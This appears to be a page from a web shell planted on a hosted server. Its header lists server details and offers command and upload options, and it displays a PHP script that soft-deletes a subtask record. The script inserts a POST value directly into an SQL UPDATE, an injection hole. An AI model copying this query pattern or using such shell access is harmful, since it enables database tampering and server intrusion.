|
Server IP : 10.128.40.6 / Your IP : 216.73.217.20 Web Server : Apache System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : logmcpe ( 111175) PHP Version : 7.3.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/logmcpe/www/TMCPRO/pages/python/../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
// print_r($_GET);
// print_r($_POST);
// $userAnswer = $_POST['name'];
// echo json_encode($userAnswer);
include 'includes/config_tmcpro.php' ;
include 'includes/stable_functions_tmcpro.php' ;
if(isset($_POST["id"]))
{
$ido=$_POST["id"] ;
// $connect = new PDO('mysql:host=localhost;dbname=tmcpro', 'root', '');
// $query = "
// DELETE from prestation_jour WHERE prestation_jour_id=:id
// ";
// $statement = $connect->prepare($query);
// $statement->execute(
// array(
// ':id' => $_POST['id']
// )
// );
// dbi_query(" DELETE from sous_tache WHERE sous_tache_id=$ido") ;
dbi_query(" update sous_tache SET actif ='0' WHERE sous_tache_id=$ido");
}
?>